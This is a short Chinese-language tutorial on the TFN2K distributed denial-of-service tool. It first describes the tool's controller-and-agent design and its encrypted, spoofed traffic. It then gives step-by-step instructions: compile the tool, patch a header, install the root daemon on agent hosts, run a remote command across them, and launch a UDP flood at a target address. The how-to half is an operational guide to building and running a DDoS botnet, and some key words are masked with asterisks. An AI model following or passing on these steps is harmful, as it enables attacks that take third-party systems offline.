什么是TFN2K?
TFN2K 的作者是著名的德国***mixter.
http://mixter.void.ru/papers.html

TFN2K通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同***。当前互联网中的

UNIX、Solaris和Windows NT等平台的主机能被用于此类***,而且这个工具非常容易被移植到其它系统

平台上。

TFN2K由两部分组成:在主控端主机上的客户端和在代理端主机上的守护进程。主控端向其代理端发

送***指定的目标主机列表。代理端据此对目标进行拒绝服务***。由一个主控端控制的多个代理端主

机,能够在***过程中相互协同,保证***的连续性。主控央和代理端的网络通讯是经过加密的,还可

能混杂了许多虚假数据包。整个TFN2K网络可能使用不同的TCP、UDP或ICMP包进行通讯。而且主控端还能

伪造其IP地址。所有这些特性都使发展防御 TFN2K***的策略和技术都非常困难或效率低下。


如何使用TFN2K?
--------------

我的使用环境:Linux

1, 解压
tar zxvf tfn2k.tgz
2, 修改
a. src/Makefile
如果你的系统是linux系统,不需要做任何修就可以, 如果你想生产Windows下的代理端,需要做

一 些修改,但是我编译后的文件在Win2000 & WinXP下出错。
b. src/ip.h
注释掉以下部分,否则编译出错。

  /*struct in_addr
{
unsigned long int s_addr;
};*/

3,编译
a. cd tfn2k
make
或者:
b. cd tfn2k/src
make
在提示设置密码后,会生成 tfn 和 td 两个文件,其中 tfn 是控制段,td 是守护进程。

4, 安装 td
自己去安装吧,需要root权限。

5, ***
a. 编辑一个文本文件,将安装了 td 的机器的ip地址添加进去, 格式为:

ip
ip
...
...

b. 测试代理端(可选)
./tfn -f host.txt -c 10 -i "mkdir /tmp/test_TFN2K"
检查安装了 td 的机器是否存在 /tmp/test_TFN2K 目录

c. ./tfn 列出命令的格式和参数
./tfn -f host -c 4 -i 1.1.1.1 对1.1.1.1发动 UDP flood ***